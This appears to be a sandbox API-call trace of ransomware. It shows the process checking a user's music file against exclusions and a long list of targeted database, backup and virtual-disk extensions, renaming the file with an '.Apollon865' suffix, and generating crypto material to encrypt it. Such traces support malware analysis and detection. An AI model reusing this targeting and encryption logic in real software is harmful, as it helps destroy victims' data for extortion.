	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2="perflogs") returned 1
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2="MSBuild") returned 1
	[0087.860] lstrlenW (lpString="RsYZLr9JFlIoDGbuOa6.m4a") returned 23
	[0087.860] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\rRkb4EM.mp3") returned 57
	[0087.860] lstrcpyW (in: lpString1=0x119e664, lpString2="RsYZLr9JFlIoDGbuOa6.m4a" | out: lpString1="RsYZLr9JFlIoDGbuOa6.m4a") returned="RsYZLr9JFlIoDGbuOa6.m4a"
	[0087.860] lstrlenW (lpString="RsYZLr9JFlIoDGbuOa6.m4a") returned 23
	[0087.860] lstrlenW (lpString="Apollon865") returned 10
	[0087.860] lstrcmpiW (lpString1="GbuOa6.m4a", lpString2="Apollon865") returned 1
	[0087.860] lstrlenW (lpString=".dll") returned 4
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2=".dll") returned 1
	[0087.860] lstrlenW (lpString=".lnk") returned 4
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2=".lnk") returned 1
	[0087.860] lstrlenW (lpString=".ini") returned 4
	[0087.860] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2=".ini") returned 1
	[0087.861] lstrlenW (lpString=".sys") returned 4
	[0087.861] lstrcmpiW (lpString1="RsYZLr9JFlIoDGbuOa6.m4a", lpString2=".sys") returned 1
	[0087.861] lstrlenW (lpString="RsYZLr9JFlIoDGbuOa6.m4a") returned 23
	[0087.861] lstrlenW (lpString="bak") returned 3
	[0087.861] lstrcmpiW (lpString1="m4a", lpString2="bak") returned 1
	[0087.861] lstrlenW (lpString="ba_") returned 3
	[0087.861] lstrcmpiW (lpString1="m4a", lpString2="ba_") returned 1
	[0087.861] lstrlenW (lpString="dbb") returned 3
	[0087.861] lstrcmpiW (lpString1="m4a", lpString2="dbb") returned 1
	[0087.861] lstrlenW (lpString="vmdk") returned 4
	[0087.861] lstrcmpiW (lpString1=".m4a", lpString2="vmdk") returned -1
	[0087.861] lstrlenW (lpString="rar") returned 3
	[0087.861] lstrcmpiW (lpString1="m4a", lpString2="rar") returned -1
	[0087.861] lstrlenW (lpString="zip") returned 3
	[0087.861] lstrcmpiW (lpString1="m4a", lpString2="zip") returned -1
	[0087.861] lstrlenW (lpString="tgz") returned 3
	[0087.861] lstrcmpiW (lpString1="m4a", lpString2="tgz") returned -1
	[0087.861] lstrlenW (lpString="vbox") returned 4
	[0087.861] lstrcmpiW (lpString1=".m4a", lpString2="vbox") returned -1
	[0087.861] lstrlenW (lpString="vdi") returned 3
	[0087.861] lstrcmpiW (lpString1="m4a", lpString2="vdi") returned -1
	[0087.861] lstrlenW (lpString="vhd") returned 3
	[0087.861] lstrcmpiW (lpString1="m4a", lpString2="vhd") returned -1
	[0087.861] lstrlenW (lpString="vhdx") returned 4
	[0087.861] lstrcmpiW (lpString1=".m4a", lpString2="vhdx") returned -1
	[0087.861] lstrlenW (lpString="avhd") returned 4
	[0087.861] lstrcmpiW (lpString1=".m4a", lpString2="avhd") returned -1
	[0087.861] lstrlenW (lpString="db") returned 2
	[0087.861] lstrcmpiW (lpString1="4a", lpString2="db") returned -1
	[0087.861] lstrlenW (lpString="db2") returned 3
	[0087.861] lstrcmpiW (lpString1="m4a", lpString2="db2") returned 1
	[0087.861] lstrlenW (lpString="db3") returned 3
	[0087.861] lstrcmpiW (lpString1="m4a", lpString2="db3") returned 1
	[0087.861] lstrlenW (lpString="dbf") returned 3
	[0087.861] lstrcmpiW (lpString1="m4a", lpString2="dbf") returned 1
	[0087.861] lstrlenW (lpString="mdf") returned 3
	[0087.862] lstrcmpiW (lpString1="m4a", lpString2="mdf") returned -1
	[0087.862] lstrlenW (lpString="mdb") returned 3
	[0087.862] lstrcmpiW (lpString1="m4a", lpString2="mdb") returned -1
	[0087.862] lstrlenW (lpString="sql") returned 3
	[0087.862] lstrcmpiW (lpString1="m4a", lpString2="sql") returned -1
	[0087.862] lstrlenW (lpString="sqlite") returned 6
	[0087.862] lstrcmpiW (lpString1="a6.m4a", lpString2="sqlite") returned -1
	[0087.862] lstrlenW (lpString="sqlite3") returned 7
	[0087.862] lstrcmpiW (lpString1="Oa6.m4a", lpString2="sqlite3") returned -1
	[0087.862] lstrlenW (lpString="sqlitedb") returned 8
	[0087.862] lstrcmpiW (lpString1="uOa6.m4a", lpString2="sqlitedb") returned 1
	[0087.862] lstrlenW (lpString="xml") returned 3
	[0087.862] lstrcmpiW (lpString1="m4a", lpString2="xml") returned -1
	[0087.862] lstrlenW (lpString="$er") returned 3
	[0087.862] lstrcmpiW (lpString1="m4a", lpString2="$er") returned 1
	[0087.862] lstrlenW (lpString="4dd") returned 3
	[0087.862] lstrcmpiW (lpString1="m4a", lpString2="4dd") returned 1
	[0087.862] lstrlenW (lpString="4dl") returned 3
	[0087.862] lstrcmpiW (lpString1="m4a", lpString2="4dl") returned 1
	[0087.862] lstrlenW (lpString="^^^") returned 3
	[0087.862] lstrcmpiW (lpString1="m4a", lpString2="^^^") returned 1
	[0087.862] lstrlenW (lpString="abs") returned 3
	[0087.862] lstrcmpiW (lpString1="m4a", lpString2="abs") returned 1
	[0087.862] lstrlenW (lpString="abx") returned 3
	[0087.862] lstrcmpiW (lpString1="m4a", lpString2="abx") returned 1
	[0087.862] lstrlenW (lpString="accdb") returned 5
	[0087.862] lstrcmpiW (lpString1="6.m4a", lpString2="accdb") returned -1
	[0087.862] lstrlenW (lpString="accdc") returned 5
	[0087.863] lstrcmpiW (lpString1="6.m4a", lpString2="accdc") returned -1
	[0087.863] lstrlenW (lpString="accde") returned 5
	[0087.863] lstrcmpiW (lpString1="6.m4a", lpString2="accde") returned -1
	[0087.863] lstrlenW (lpString="accdr") returned 5
	[0087.863] lstrcmpiW (lpString1="6.m4a", lpString2="accdr") returned -1
	[0087.863] lstrlenW (lpString="accdt") returned 5
	[0087.863] lstrcmpiW (lpString1="6.m4a", lpString2="accdt") returned -1
	[0087.863] lstrlenW (lpString="accdw") returned 5
	[0087.863] lstrcmpiW (lpString1="6.m4a", lpString2="accdw") returned -1
	[0087.863] lstrlenW (lpString="accft") returned 5
	[0087.863] lstrcmpiW (lpString1="6.m4a", lpString2="accft") returned -1
	[0087.863] lstrlenW (lpString="adb") returned 3
	[0087.863] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1
	[0087.863] lstrlenW (lpString="adb") returned 3
	[0087.863] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1
	[0087.863] lstrlenW (lpString="ade") returned 3
	[0087.863] lstrcmpiW (lpString1="m4a", lpString2="ade") returned 1
	[0087.863] lstrlenW (lpString="adf") returned 3
	[0087.863] lstrcmpiW (lpString1="m4a", lpString2="adf") returned 1
	[0087.863] lstrlenW (lpString="adn") returned 3
	[0087.863] lstrcmpiW (lpString1="m4a", lpString2="adn") returned 1
	[0087.863] lstrlenW (lpString="adp") returned 3
	[0087.863] lstrcmpiW (lpString1="m4a", lpString2="adp") returned 1
	[0087.863] lstrlenW (lpString="alf") returned 3
	[0087.863] lstrcmpiW (lpString1="m4a", lpString2="alf") returned 1
	[0087.863] lstrlenW (lpString="ask") returned 3
	[0087.863] lstrcmpiW (lpString1="m4a", lpString2="ask") returned 1
	[0087.863] lstrlenW (lpString="btr") returned 3
	[0087.864] lstrcmpiW (lpString1="m4a", lpString2="btr") returned 1
	[0087.864] lstrlenW (lpString="cat") returned 3
	[0087.864] lstrcmpiW (lpString1="m4a", lpString2="cat") returned 1
	[0087.864] lstrlenW (lpString="cdb") returned 3
	[0087.864] lstrcmpiW (lpString1="m4a", lpString2="cdb") returned 1
	[0087.864] lstrlenW (lpString="ckp") returned 3
	[0087.864] lstrcmpiW (lpString1="m4a", lpString2="ckp") returned 1
	[0087.864] lstrlenW (lpString="cma") returned 3
	[0087.864] lstrcmpiW (lpString1="m4a", lpString2="cma") returned 1
	[0087.864] lstrlenW (lpString="cpd") returned 3
	[0087.864] lstrcmpiW (lpString1="m4a", lpString2="cpd") returned 1
	[0087.864] lstrlenW (lpString="dacpac") returned 6
	[0087.864] lstrcmpiW (lpString1="a6.m4a", lpString2="dacpac") returned -1
	[0087.864] lstrlenW (lpString="dad") returned 3
	[0087.864] lstrcmpiW (lpString1="m4a", lpString2="dad") returned 1
	[0087.864] lstrlenW (lpString="dadiagrams") returned 10
	[0087.864] lstrcmpiW (lpString1="GbuOa6.m4a", lpString2="dadiagrams") returned 1
	[0087.864] lstrlenW (lpString="daschema") returned 8
	[0087.864] lstrcmpiW (lpString1="uOa6.m4a", lpString2="daschema") returned 1
	[0087.864] lstrlenW (lpString="db-journal") returned 10
	[0087.864] lstrcmpiW (lpString1="GbuOa6.m4a", lpString2="db-journal") returned 1
	[0087.864] lstrlenW (lpString="db-shm") returned 6
	[0087.864] lstrcmpiW (lpString1="a6.m4a", lpString2="db-shm") returned -1
	[0087.864] lstrlenW (lpString="db-wal") returned 6
	[0087.864] lstrcmpiW (lpString1="a6.m4a", lpString2="db-wal") returned -1
	[0087.864] lstrlenW (lpString="dbc") returned 3
	[0087.864] lstrcmpiW (lpString1="m4a", lpString2="dbc") returned 1
	[0087.864] lstrlenW (lpString="dbs") returned 3
	[0087.864] lstrcmpiW (lpString1="m4a", lpString2="dbs") returned 1
	[0087.864] lstrlenW (lpString="dbt") returned 3
	[0087.864] lstrcmpiW (lpString1="m4a", lpString2="dbt") returned 1
	[0087.864] lstrlenW (lpString="dbv") returned 3
	[0087.864] lstrcmpiW (lpString1="m4a", lpString2="dbv") returned 1
	[0087.864] lstrlenW (lpString="dbx") returned 3
	[0087.865] lstrcmpiW (lpString1="m4a", lpString2="dbx") returned 1
	[0087.865] lstrlenW (lpString="dcb") returned 3
	[0087.865] lstrcmpiW (lpString1="m4a", lpString2="dcb") returned 1
	[0087.865] lstrlenW (lpString="dct") returned 3
	[0087.865] lstrcmpiW (lpString1="m4a", lpString2="dct") returned 1
	[0087.865] lstrlenW (lpString="dcx") returned 3
	[0087.865] lstrcmpiW (lpString1="m4a", lpString2="dcx") returned 1
	[0087.865] lstrlenW (lpString="ddl") returned 3
	[0087.865] lstrcmpiW (lpString1="m4a", lpString2="ddl") returned 1
	[0087.865] lstrlenW (lpString="dlis") returned 4
	[0087.865] lstrcmpiW (lpString1=".m4a", lpString2="dlis") returned -1
	[0087.865] lstrlenW (lpString="dp1") returned 3
	[0087.865] lstrcmpiW (lpString1="m4a", lpString2="dp1") returned 1
	[0087.865] lstrlenW (lpString="dqy") returned 3
	[0087.865] lstrcmpiW (lpString1="m4a", lpString2="dqy") returned 1
	[0087.865] lstrlenW (lpString="dsk") returned 3
	[0087.865] lstrcmpiW (lpString1="m4a", lpString2="dsk") returned 1
	[0087.865] lstrlenW (lpString="dsn") returned 3
	[0087.865] lstrcmpiW (lpString1="m4a", lpString2="dsn") returned 1
	[0087.865] lstrlenW (lpString="dtsx") returned 4
	[0087.865] lstrcmpiW (lpString1=".m4a", lpString2="dtsx") returned -1
	[0087.865] lstrlenW (lpString="dxl") returned 3
	[0087.865] lstrcmpiW (lpString1="m4a", lpString2="dxl") returned 1
	[0087.865] lstrlenW (lpString="eco") returned 3
	[0087.865] lstrcmpiW (lpString1="m4a", lpString2="eco") returned 1
	[0087.865] lstrlenW (lpString="ecx") returned 3
	[0087.865] lstrcmpiW (lpString1="m4a", lpString2="ecx") returned 1
	[0087.865] lstrlenW (lpString="edb") returned 3
	[0087.866] lstrcmpiW (lpString1="m4a", lpString2="edb") returned 1
	[0087.866] lstrlenW (lpString="epim") returned 4
	[0087.866] lstrcmpiW (lpString1=".m4a", lpString2="epim") returned -1
	[0087.866] lstrlenW (lpString="fcd") returned 3
	[0087.866] lstrcmpiW (lpString1="m4a", lpString2="fcd") returned 1
	[0087.866] lstrlenW (lpString="fdb") returned 3
	[0087.866] lstrcmpiW (lpString1="m4a", lpString2="fdb") returned 1
	[0087.866] lstrlenW (lpString="fic") returned 3
	[0087.866] lstrcmpiW (lpString1="m4a", lpString2="fic") returned 1
	[0087.866] lstrlenW (lpString="flexolibrary") returned 12
	[0087.866] lstrcmpiW (lpString1="oDGbuOa6.m4a", lpString2="flexolibrary") returned 1
	[0087.866] lstrlenW (lpString="fm5") returned 3
	[0087.866] lstrcmpiW (lpString1="m4a", lpString2="fm5") returned 1
	[0087.866] lstrlenW (lpString="fmp") returned 3
	[0087.866] lstrcmpiW (lpString1="m4a", lpString2="fmp") returned 1
	[0087.866] lstrlenW (lpString="fmp12") returned 5
	[0087.866] lstrcmpiW (lpString1="6.m4a", lpString2="fmp12") returned -1
	[0087.866] lstrlenW (lpString="fmpsl") returned 5
	[0087.866] lstrcmpiW (lpString1="6.m4a", lpString2="fmpsl") returned -1
	[0087.866] lstrlenW (lpString="fol") returned 3
	[0087.866] lstrcmpiW (lpString1="m4a", lpString2="fol") returned 1
	[0087.866] lstrlenW (lpString="fp3") returned 3
	[0087.866] lstrcmpiW (lpString1="m4a", lpString2="fp3") returned 1
	[0087.866] lstrlenW (lpString="fp4") returned 3
	[0087.866] lstrcmpiW (lpString1="m4a", lpString2="fp4") returned 1
	[0087.866] lstrlenW (lpString="fp5") returned 3
	[0087.866] lstrcmpiW (lpString1="m4a", lpString2="fp5") returned 1
	[0087.866] lstrlenW (lpString="fp7") returned 3
	[0087.866] lstrcmpiW (lpString1="m4a", lpString2="fp7") returned 1
	[0087.866] lstrlenW (lpString="fpt") returned 3
	[0087.866] lstrcmpiW (lpString1="m4a", lpString2="fpt") returned 1
	[0087.867] lstrlenW (lpString="frm") returned 3
	[0087.867] lstrcmpiW (lpString1="m4a", lpString2="frm") returned 1
	[0087.867] lstrlenW (lpString="gdb") returned 3
	[0087.867] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1
	[0087.867] lstrlenW (lpString="gdb") returned 3
	[0087.867] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1
	[0087.867] lstrlenW (lpString="grdb") returned 4
	[0087.867] lstrcmpiW (lpString1=".m4a", lpString2="grdb") returned -1
	[0087.867] lstrlenW (lpString="gwi") returned 3
	[0087.867] lstrcmpiW (lpString1="m4a", lpString2="gwi") returned 1
	[0087.867] lstrlenW (lpString="hdb") returned 3
	[0087.867] lstrcmpiW (lpString1="m4a", lpString2="hdb") returned 1
	[0087.867] lstrlenW (lpString="his") returned 3
	[0087.867] lstrcmpiW (lpString1="m4a", lpString2="his") returned 1
	[0087.867] lstrlenW (lpString="ib") returned 2
	[0087.867] lstrcmpiW (lpString1="4a", lpString2="ib") returned -1
	[0087.867] lstrlenW (lpString="idb") returned 3
	[0087.867] lstrcmpiW (lpString1="m4a", lpString2="idb") returned 1
	[0087.867] lstrlenW (lpString="ihx") returned 3
	[0087.867] lstrcmpiW (lpString1="m4a", lpString2="ihx") returned 1
	[0087.867] lstrlenW (lpString="itdb") returned 4
	[0087.867] lstrcmpiW (lpString1=".m4a", lpString2="itdb") returned -1
	[0087.867] lstrlenW (lpString="itw") returned 3
	[0087.867] lstrcmpiW (lpString1="m4a", lpString2="itw") returned 1
	[0087.867] lstrlenW (lpString="jet") returned 3
	[0087.867] lstrcmpiW (lpString1="m4a", lpString2="jet") returned 1
	[0087.867] lstrlenW (lpString="jtx") returned 3
	[0087.867] lstrcmpiW (lpString1="m4a", lpString2="jtx") returned 1
	[0087.867] lstrlenW (lpString="kdb") returned 3
	[0087.867] lstrcmpiW (lpString1="m4a", lpString2="kdb") returned 1
	[0087.867] lstrlenW (lpString="kexi") returned 4
	[0087.867] lstrcmpiW (lpString1=".m4a", lpString2="kexi") returned -1
	[0087.867] lstrlenW (lpString="kexic") returned 5
	[0087.867] lstrcmpiW (lpString1="6.m4a", lpString2="kexic") returned -1
	[0087.868] lstrlenW (lpString="kexis") returned 5
	[0087.868] lstrcmpiW (lpString1="6.m4a", lpString2="kexis") returned -1
	[0087.868] lstrlenW (lpString="lgc") returned 3
	[0087.868] lstrcmpiW (lpString1="m4a", lpString2="lgc") returned 1
	[0087.868] lstrlenW (lpString="lwx") returned 3
	[0087.868] lstrcmpiW (lpString1="m4a", lpString2="lwx") returned 1
	[0087.868] lstrlenW (lpString="maf") returned 3
	[0087.868] lstrcmpiW (lpString1="m4a", lpString2="maf") returned -1
	[0087.868] lstrlenW (lpString="maq") returned 3
	[0087.868] lstrcmpiW (lpString1="m4a", lpString2="maq") returned -1
	[0087.868] lstrlenW (lpString="mar") returned 3
	[0087.868] lstrcmpiW (lpString1="m4a", lpString2="mar") returned -1
	[0087.868] lstrlenW (lpString="marshal") returned 7
	[0087.868] lstrcmpiW (lpString1="Oa6.m4a", lpString2="marshal") returned 1
	[0087.868] lstrlenW (lpString="mas") returned 3
	[0087.868] lstrcmpiW (lpString1="m4a", lpString2="mas") returned -1
	[0087.868] lstrlenW (lpString="mav") returned 3
	[0087.868] lstrcmpiW (lpString1="m4a", lpString2="mav") returned -1
	[0087.868] lstrlenW (lpString="maw") returned 3
	[0087.868] lstrcmpiW (lpString1="m4a", lpString2="maw") returned -1
	[0087.868] lstrlenW (lpString="mdbhtml") returned 7
	[0087.868] lstrcmpiW (lpString1="Oa6.m4a", lpString2="mdbhtml") returned 1
	[0087.868] lstrlenW (lpString="mdn") returned 3
	[0087.868] lstrcmpiW (lpString1="m4a", lpString2="mdn") returned -1
	[0087.868] lstrlenW (lpString="mdt") returned 3
	[0087.868] lstrcmpiW (lpString1="m4a", lpString2="mdt") returned -1
	[0087.869] lstrlenW (lpString="mfd") returned 3
	[0087.869] lstrcmpiW (lpString1="m4a", lpString2="mfd") returned -1
	[0087.869] lstrlenW (lpString="mpd") returned 3
	[0087.869] lstrcmpiW (lpString1="m4a", lpString2="mpd") returned -1
	[0087.869] lstrlenW (lpString="mrg") returned 3
	[0087.869] lstrcmpiW (lpString1="m4a", lpString2="mrg") returned -1
	[0087.869] lstrlenW (lpString="mud") returned 3
	[0087.869] lstrcmpiW (lpString1="m4a", lpString2="mud") returned -1
	[0087.869] lstrlenW (lpString="mwb") returned 3
	[0087.869] lstrcmpiW (lpString1="m4a", lpString2="mwb") returned -1
	[0087.869] lstrlenW (lpString="myd") returned 3
	[0087.869] lstrcmpiW (lpString1="m4a", lpString2="myd") returned -1
	[0087.869] lstrlenW (lpString="ndf") returned 3
	[0087.869] lstrcmpiW (lpString1="m4a", lpString2="ndf") returned -1
	[0087.869] lstrlenW (lpString="nnt") returned 3
	[0087.869] lstrcmpiW (lpString1="m4a", lpString2="nnt") returned -1
	[0087.869] lstrlenW (lpString="nrmlib") returned 6
	[0087.869] lstrcmpiW (lpString1="a6.m4a", lpString2="nrmlib") returned -1
	[0087.869] lstrlenW (lpString="ns2") returned 3
	[0087.869] lstrcmpiW (lpString1="m4a", lpString2="ns2") returned -1
	[0087.869] lstrlenW (lpString="ns3") returned 3
	[0087.869] lstrcmpiW (lpString1="m4a", lpString2="ns3") returned -1
	[0087.869] lstrlenW (lpString="ns4") returned 3
	[0087.869] lstrcmpiW (lpString1="m4a", lpString2="ns4") returned -1
	[0087.869] lstrlenW (lpString="nsf") returned 3
	[0087.869] lstrcmpiW (lpString1="m4a", lpString2="nsf") returned -1
	[0087.869] lstrlenW (lpString="nv") returned 2
	[0087.869] lstrcmpiW (lpString1="4a", lpString2="nv") returned -1
	[0087.869] lstrlenW (lpString="nv2") returned 3
	[0087.869] lstrcmpiW (lpString1="m4a", lpString2="nv2") returned -1
	[0087.869] lstrlenW (lpString="nwdb") returned 4
	[0087.870] lstrcmpiW (lpString1=".m4a", lpString2="nwdb") returned -1
	[0087.870] lstrlenW (lpString="nyf") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="nyf") returned -1
	[0087.870] lstrlenW (lpString="odb") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1
	[0087.870] lstrlenW (lpString="odb") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1
	[0087.870] lstrlenW (lpString="oqy") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="oqy") returned -1
	[0087.870] lstrlenW (lpString="ora") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="ora") returned -1
	[0087.870] lstrlenW (lpString="orx") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="orx") returned -1
	[0087.870] lstrlenW (lpString="owc") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="owc") returned -1
	[0087.870] lstrlenW (lpString="p96") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="p96") returned -1
	[0087.870] lstrlenW (lpString="p97") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="p97") returned -1
	[0087.870] lstrlenW (lpString="pan") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="pan") returned -1
	[0087.870] lstrlenW (lpString="pdb") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="pdb") returned -1
	[0087.870] lstrlenW (lpString="pdm") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="pdm") returned -1
	[0087.870] lstrlenW (lpString="pnz") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="pnz") returned -1
	[0087.870] lstrlenW (lpString="qry") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="qry") returned -1
	[0087.870] lstrlenW (lpString="qvd") returned 3
	[0087.870] lstrcmpiW (lpString1="m4a", lpString2="qvd") returned -1
	[0087.870] lstrlenW (lpString="rbf") returned 3
	[0087.871] lstrcmpiW (lpString1="m4a", lpString2="rbf") returned -1
	[0087.871] lstrlenW (lpString="rctd") returned 4
	[0087.871] lstrcmpiW (lpString1=".m4a", lpString2="rctd") returned -1
	[0087.871] lstrlenW (lpString="rod") returned 3
	[0087.871] lstrcmpiW (lpString1="m4a", lpString2="rod") returned -1
	[0087.871] lstrlenW (lpString="rodx") returned 4
	[0087.871] lstrcmpiW (lpString1=".m4a", lpString2="rodx") returned -1
	[0087.871] lstrlenW (lpString="rpd") returned 3
	[0087.871] lstrcmpiW (lpString1="m4a", lpString2="rpd") returned -1
	[0087.871] lstrlenW (lpString="rsd") returned 3
	[0087.871] lstrcmpiW (lpString1="m4a", lpString2="rsd") returned -1
	[0087.871] lstrlenW (lpString="sas7bdat") returned 8
	[0087.871] lstrcmpiW (lpString1="uOa6.m4a", lpString2="sas7bdat") returned 1
	[0087.871] lstrlenW (lpString="sbf") returned 3
	[0087.871] lstrcmpiW (lpString1="m4a", lpString2="sbf") returned -1
	[0087.871] lstrlenW (lpString="scx") returned 3
	[0087.871] lstrcmpiW (lpString1="m4a", lpString2="scx") returned -1
	[0087.871] lstrlenW (lpString="sdb") returned 3
	[0087.871] lstrcmpiW (lpString1="m4a", lpString2="sdb") returned -1
	[0087.871] lstrlenW (lpString="sdc") returned 3
	[0087.871] lstrcmpiW (lpString1="m4a", lpString2="sdc") returned -1
	[0087.871] lstrlenW (lpString="sdf") returned 3
	[0087.871] lstrcmpiW (lpString1="m4a", lpString2="sdf") returned -1
	[0087.871] lstrlenW (lpString="sis") returned 3
	[0087.871] lstrcmpiW (lpString1="m4a", lpString2="sis") returned -1
	[0087.871] lstrlenW (lpString="spq") returned 3
	[0087.871] lstrcmpiW (lpString1="m4a", lpString2="spq") returned -1
	[0087.872] lstrlenW (lpString="te") returned 2
	[0087.872] lstrcmpiW (lpString1="4a", lpString2="te") returned -1
	[0087.872] lstrlenW (lpString="teacher") returned 7
	[0087.872] lstrcmpiW (lpString1="Oa6.m4a", lpString2="teacher") returned -1
	[0087.872] lstrlenW (lpString="tmd") returned 3
	[0087.872] lstrcmpiW (lpString1="m4a", lpString2="tmd") returned -1
	[0087.872] lstrlenW (lpString="tps") returned 3
	[0087.872] lstrcmpiW (lpString1="m4a", lpString2="tps") returned -1
	[0087.872] lstrlenW (lpString="trc") returned 3
	[0087.872] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1
	[0087.872] lstrlenW (lpString="trc") returned 3
	[0087.872] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1
	[0087.872] lstrlenW (lpString="trm") returned 3
	[0087.872] lstrcmpiW (lpString1="m4a", lpString2="trm") returned -1
	[0087.872] lstrlenW (lpString="udb") returned 3
	[0087.872] lstrcmpiW (lpString1="m4a", lpString2="udb") returned -1
	[0087.872] lstrlenW (lpString="udl") returned 3
	[0087.872] lstrcmpiW (lpString1="m4a", lpString2="udl") returned -1
	[0087.872] lstrlenW (lpString="usr") returned 3
	[0087.872] lstrcmpiW (lpString1="m4a", lpString2="usr") returned -1
	[0087.872] lstrlenW (lpString="v12") returned 3
	[0087.872] lstrcmpiW (lpString1="m4a", lpString2="v12") returned -1
	[0087.872] lstrlenW (lpString="vis") returned 3
	[0087.872] lstrcmpiW (lpString1="m4a", lpString2="vis") returned -1
	[0087.872] lstrlenW (lpString="vpd") returned 3
	[0087.872] lstrcmpiW (lpString1="m4a", lpString2="vpd") returned -1
	[0087.872] lstrlenW (lpString="vvv") returned 3
	[0087.872] lstrcmpiW (lpString1="m4a", lpString2="vvv") returned -1
	[0087.872] lstrlenW (lpString="wdb") returned 3
	[0087.872] lstrcmpiW (lpString1="m4a", lpString2="wdb") returned -1
	[0087.872] lstrlenW (lpString="wmdb") returned 4
	[0087.872] lstrcmpiW (lpString1=".m4a", lpString2="wmdb") returned -1
	[0087.872] lstrlenW (lpString="wrk") returned 3
	[0087.873] lstrcmpiW (lpString1="m4a", lpString2="wrk") returned -1
	[0087.873] lstrlenW (lpString="xdb") returned 3
	[0087.873] lstrcmpiW (lpString1="m4a", lpString2="xdb") returned -1
	[0087.873] lstrlenW (lpString="xld") returned 3
	[0087.873] lstrcmpiW (lpString1="m4a", lpString2="xld") returned -1
	[0087.873] lstrlenW (lpString="xmlff") returned 5
	[0087.873] lstrcmpiW (lpString1="6.m4a", lpString2="xmlff") returned -1
	[0087.873] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\RsYZLr9JFlIoDGbuOa6.m4a.Apollon865") returned 80
	[0087.873] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\RsYZLr9JFlIoDGbuOa6.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\rsyzlr9jfliodgbuoa6.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\RsYZLr9JFlIoDGbuOa6.m4a.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\rsyzlr9jfliodgbuoa6.m4a.apollon865"), dwFlags=0x1) returned 1
	[0087.874] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\RsYZLr9JFlIoDGbuOa6.m4a.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\rsyzlr9jfliodgbuoa6.m4a.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.874] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=88031) returned 1
	[0087.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0087.875] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0087.876] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.876] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0087.876] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15ae0, lpName=0x0) returned 0x15c
	[0087.876] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15ae0) returned 0x120000
	[0087.879] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0087.880] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.880] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0087.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0087.880] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0087.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
